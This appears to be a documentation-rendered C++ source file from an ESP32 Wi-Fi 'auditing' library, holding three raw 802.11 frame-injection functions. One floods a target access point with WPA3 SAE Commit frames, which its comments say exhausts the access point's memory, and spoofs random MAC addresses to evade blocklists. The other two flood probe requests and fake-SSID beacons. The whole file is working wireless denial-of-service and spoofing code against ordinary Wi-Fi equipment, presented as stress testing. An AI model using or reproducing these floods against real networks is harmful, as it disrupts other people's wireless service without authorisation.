Politician 1.0.0
WiFi Auditing Library for ESP32
Loading...
Searching...
No Matches
PoliticianStress.cpp
Go to the documentation of this file.
1#include "PoliticianStress.h"
2#ifdef ARDUINO
3#include <Arduino.h>
4#endif
5#include "esp_wifi.h"
6#include "esp_timer.h"
7#include "esp_random.h"
8
9namespace politician {
10namespace stress {
11
12void saeCommitFlood(const uint8_t* bssid, uint32_t count) {
13 // 802.11 Authentication Frame Header (WPA3 SAE)
14 uint8_t pkt[42] = {
15 0xB0, 0x00, 0x3C, 0x00, // Frame Control (Auth), Duration
16 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Receiver Address (Target AP)
17 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Transmitter Address (Randomized)
18 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // BSSID (Target AP)
19 0x00, 0x00, // Sequence Control
20
21 // --- Auth Body ---
22 0x03, 0x00, // Auth Algorithm: 3 (SAE)
23 0x01, 0x00, // Auth Seq: 1 (Commit)
24 0x00, 0x00, // Status Code: 0 (Successful)
25 // Group ID (2 bytes)
26 0x13, 0x00, // 19 = NIST P-256
27 // Empty payload elements follow in a real transaction, but creating the
28 // connection state triggers the WPA3 RAM exhaustion immediately anyway.
29 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
30 };
31
32 // Copy the target BSSID directly into the Recipient and BSSID fields
33 memcpy(&pkt[4], bssid, 6);
34 memcpy(&pkt[16], bssid, 6);
35
36 for (uint32_t i = 0; i < count; i++) {
37 // Bruteforce a completely random MAC address to bypass client blocklists!
38 for (int m = 0; m < 6; m++) {
39 pkt[10 + m] = (uint8_t)(esp_random() & 0xFF);
40 }
41 pkt[10] &= 0xFE; // Ensure Unicast
42 pkt[10] |= 0x02; // Mark as Locally Administered MAC
43
44 esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false);
45 }
46}
47
48void probeRequestFlood(uint32_t count) {
49 // 802.11 Probe Request Frame Header
50 uint8_t pkt[36] = {
51 0x40, 0x00, 0x00, 0x00, // Frame Control (Probe Req), Duration
52 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Broadcast RA
53 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Transmitter Address (Randomized)
54 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Broadcast BSSID
55 0x00, 0x00, // Sequence Control
56
57 // IE Tag 0: SSID (Broadcast - Length 0)
58 0x00, 0x00,
59
60 // IE Tag 1: Supported Rates
61 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24
62 };
63
64 for (uint32_t i = 0; i < count; i++) {
65 // Rapidly spin up random fake devices demanding network parameters
66 for (int m = 0; m < 6; m++) {
67 pkt[10 + m] = (uint8_t)(esp_random() & 0xFF);
68 }
69 pkt[10] &= 0xFE;
70 pkt[10] |= 0x02;
71
72 esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false);
73 }
74}
75
76
77void beaconFlood(const char **ssids, uint8_t ssidCount,
78 uint8_t channel, uint32_t durationMs) {
79 if (!ssids || ssidCount == 0 || durationMs == 0) return;
80 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
81
82 uint8_t frame[128];
83 uint32_t start = millis();
84 uint32_t seq = 0;
85
86 while (millis() - start < durationMs) {
87 const char *ssid = ssids[seq % ssidCount];
88 uint8_t ssid_len = (uint8_t)strnlen(ssid, 32);
89
90 uint8_t mac[6];
91 uint32_t r1 = esp_random(), r2 = esp_random();
92 mac[0] = 0x02; mac[1] = r1 & 0xFF; mac[2] = (r1 >> 8) & 0xFF;
93 mac[3] = (r1 >> 16) & 0xFF; mac[4] = r2 & 0xFF; mac[5] = (r2 >> 8) & 0xFF;
94
95 uint8_t p = 0;
96 frame[p++] = 0x80; frame[p++] = 0x00;
97 frame[p++] = 0x00; frame[p++] = 0x00;
98 memset(frame + p, 0xFF, 6); p += 6;
99 memcpy(frame + p, mac, 6); p += 6;
100 memcpy(frame + p, mac, 6); p += 6;
101 frame[p++] = (uint8_t)((seq & 0xF) << 4);
102 frame[p++] = (uint8_t)(seq >> 4);
103 seq++;
104 memset(frame + p, 0, 8); p += 8;
105 frame[p++] = 0x64; frame[p++] = 0x00;
106 frame[p++] = 0x21; frame[p++] = 0x04;
107 frame[p++] = 0x00; frame[p++] = ssid_len;
108 memcpy(frame + p, ssid, ssid_len); p += ssid_len;
109 frame[p++] = 0x01; frame[p++] = 0x08;
110 const uint8_t rates[] = {0x82,0x84,0x8B,0x96,0x24,0x30,0x48,0x6C};
111 memcpy(frame + p, rates, 8); p += 8;
112 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = channel;
113
114 esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false);
115 delay(5);
116 }
117}
118} // namespace stress
119} // namespace politician
void beaconFlood(const char **ssids, uint8_t ssidCount, uint8_t channel, uint32_t durationMs)
Transmits beacon frames with rotating fake SSIDs to stress-test AP table management and SSID announce...
void probeRequestFlood(uint32_t count)
Blasts out massive strings of randomized Probe Requests to overwhelm local Access Points with client ...
void saeCommitFlood(const uint8_t *bssid, uint32_t count)
Blasts a massive SAE (Simultaneous Authentication of Equals) Commit flood.
void delay(uint32_t ms)
uint32_t millis()